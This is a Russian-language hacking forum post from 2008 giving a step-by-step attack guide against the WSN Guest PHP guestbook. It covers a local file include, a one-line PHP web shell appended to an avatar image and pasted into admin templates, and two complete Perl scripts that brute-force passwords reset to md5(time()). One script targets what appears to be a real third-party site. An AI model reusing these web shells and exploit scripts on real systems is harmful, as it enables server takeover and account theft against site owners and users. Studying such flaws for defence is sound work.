Взлом WSN Guest <=1.20

Discussion in 'Веб-уязвимости' started by otmorozok428, 11 Jun 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Не так давно занимался исследованием гостевухи под названием WSN Guest. Версия, вроде как 1.20 - последняя доступная на сайте производителя. Гуглится она так: "Powered by WSN Guest"

    Вот, что мне удалось найти:

    1. Локальный инклуд.


    Уязвимый код в файле start.php выглядит так:

    PHP:
    if ($custom == 'yes'// custom templates
    // access with index.php?custom=yes&TID=name&ext=ext
     
    if ($ext == ''$ext 'tpl';
     
    $thefile $TID .'.'$ext;
     
    $thefile $templatesdir .'/' $thefile;
     
    $template = new template($thefile);
    }
    Юзается это так:

    Что это может дать?

    a) Просмотр файла backup.sql.

    Файл backup.sql лежит в папке /admin и содержит резервную копию гостевухи. Соответственно, можно сразу поиметь полный комплект админских-юзерских md5-хешей.
    Для того, чтобы это работало, админ хотя бы раз должен сделать бэкап базы, по умолчанию файл backup.sql - пуст.

    б) Загрузка шелла через аватару.

    Сначала создаём аватарку содержащую шелл. Берём любую аватарку, открываем в Far-e в режиме редактирования и добавляем в конец файла что-то вроде
    PHP:
     <? if (isset($_GET['cmd'])){system($_GET['cmd']);} ?> 
    Сохраняем аватару.
    Далее идём на сайт с гостевухой и регистрируем там пользователя. Логинимся под ним и жмём на ссылку [edit your profile]. В пункте "Choose a new avatar" загружаем нашу аватарку, после чего тыкаем кнопку "Edit Profile" (это там вместо сохранения). Чтобы узнать куда и под каким именем загружена наша аватара нужно добавить комментарий к чьему-нибудь сообщению и посмотреть правильное имя аватары. В результате у нас получится что-то подобное:
    в) Инклуд чего-нибудь ещё

    Например.,
    2. Смена админских-юзерских паролей.

    Для восстановления пароля необходимо знать e-mail юзера у которого восстанавливаем пароль. Админ при инсталляции гостевухи создаётся без e-maila, поэтому если позднее почту никто не прописал - сменить админский пасс не получится. Почтовый адрес любого пользователя можно посмотреть по ссылке [View Member List]. Там нужно нажать на имя пользователя. Смена пасса у обычного пользователя может потребоваться для взлома гостевых, где для регистрации пользователя требуется аппрув админа.

    Посмотрим, как осуществляется восстановление пароля:

    PHP:
      $ourmember = new member('id'$theirid);
      
    $adminaddress $settings->email;
      
    $newpassword md5(time());
      
    $encoded md5($newpassword);
      
    $ourmember->password $encoded;
      
    $ourmember->update('email,password');
      
    $subject memberreplacements($language->email_passwordresetsubject$ourmember);
      
    $message str_replace('{NEWPASSWORD}'$newpassword$language->email_passwordresetbody);
      
    $message memberreplacements($message$ourmember);
      
    mail("$email""$subject""$message""From: $adminaddress");
      if (!
    $template$template = new template("$templatesdir/redirect.tpl");
      
    $template->replace('{DESTINATION}''index.php');
      
    $template->replace('{MESSAGE}'$language->passwordreset_worked);
    Функция time() подробно описана здесь:

    http://us.php.net/manual/ru/function.time.php

    Т.е. новый пароль - это текущее время сервера, два раза пошифрованное в md5. Текущее время сервера можно узнать создав сообщение или комментарий. Пароль именяется сразу же и от пользователя не требуется никаких подтверждений. Таким образом, при правильно выставленном временнОм диапазоне на подбор восстановленного пароля уйдёт где-то несколько десятков попыток. Ниже выкладываю два эксплоита: один для восстановления админских паролей, другой - для юзерских.

    admin.pl
    Code:
    #!/usr/bin/perl
    
    use HTTP::Request::Common qw(POST);
    use LWP::UserAgent;
    use Digest::MD5 qw(md5_hex);
    
    print "\n*************************************************************************\r\n";
    print "|                                                                      |\r\n";
    print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
    print "|                                                                      |\r\n";
    print "|                             By otmorozok428                          |\r\n";
    print "|                                                                      |\r\n";
    print "|                    site: http://forum.antichat.ru                    |\r\n";
    print "|                                                                      |\r\n";
    print "*************************************************************************\r\n\r\n";
    
    
    #Здесь нужно указать путь к гостевой книге на сервере
    $wsn_path = 'http://www.pinkelephants.org.uk/guestbook/';
    
    #Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
    #формой входа в админку.
    $key_word = 'supply';
    
    #Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
    #GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
    #восстановления пароля с погрешностью "плюс-минус" 60 секунд.
    $begin_range = 1213029991;
    $end_range = 1213030010;
    
    $passes_checked = 0;
    for ($i = $begin_range; $i<=$end_range; $i++){
        $passes_checked++;
    	$password = md5_hex($i);
        $ua = LWP::UserAgent->new;
        my $req = POST $wsn_path.'index.php?action=login&filled=1',[username=>'admin',userpassword=>$password ];
        $str = $ua->request($req)->as_string;
        if (!($str =~ /$key_word/)){
            print "Congratulations! Your pass - ".$password."\n\n";
            print "Passes checked: ".$passes_checked."\n";
            exit();
        }  
    }
    print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
    Скачать admin.pl

    user.pl
    Code:
     #!/usr/bin/perl
    
    use HTTP::Request::Common qw(POST);
    use LWP::UserAgent;
    use Digest::MD5 qw(md5_hex);
    
    print "\n*************************************************************************\r\n";
    print "|                                                                      |\r\n";
    print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
    print "|                                                                      |\r\n";
    print "|                             By otmorozok428                          |\r\n";
    print "|                                                                      |\r\n";
    print "|                    site: http://forum.antichat.ru                    |\r\n";
    print "|                                                                      |\r\n";
    print "*************************************************************************\r\n\r\n";
    
    
    #Здесь нужно указать путь к гостевой книге на сервере
    $wsn_path = 'http://localhost/wsn/';
    
    #Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
    #формой входа в админку.
    $key_word = 'match';
    
    #Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
    #GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
    #восстановления пароля с погрешностью "плюс-минус" 60 секунд.
    $begin_range = 1213201857;
    $end_range = 1213201893;
    
    $passes_checked = 0;
    for ($i = $begin_range; $i<=$end_range; $i++){
        $passes_checked++;
    	$password = md5_hex($i);
        $ua = LWP::UserAgent->new;
        my $req = POST $wsn_path.'index.php?action=userlogin&filled=1',[username=>'hi',userpassword=>$password ];
        $str = $ua->request($req)->as_string;
        
    #    print $str;
        
        if (!($str =~ /$key_word/)){
            print "Congratulations! Your pass - ".$password."\n\n";
            print "Passes checked: ".$passes_checked."\n";
            exit();
        }  
    }
    print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
    Скачать user.pl

    3. Заливка шелла через админку

    Логинимся под админом. Идем на вкладку [Manage Templates], там выбираем любой шаблон, например, Header или Footer, вставляем в текст шаблона наш код:
    PHP:
    <?if (isset($_GET['cmd'])){system($_GET['cmd']);}?>
    Жмём кнопку "Submit Changes".
     
    #1 otmorozok428, 11 Jun 2008
    Last edited: 12 Jun 2008
    1 person likes this.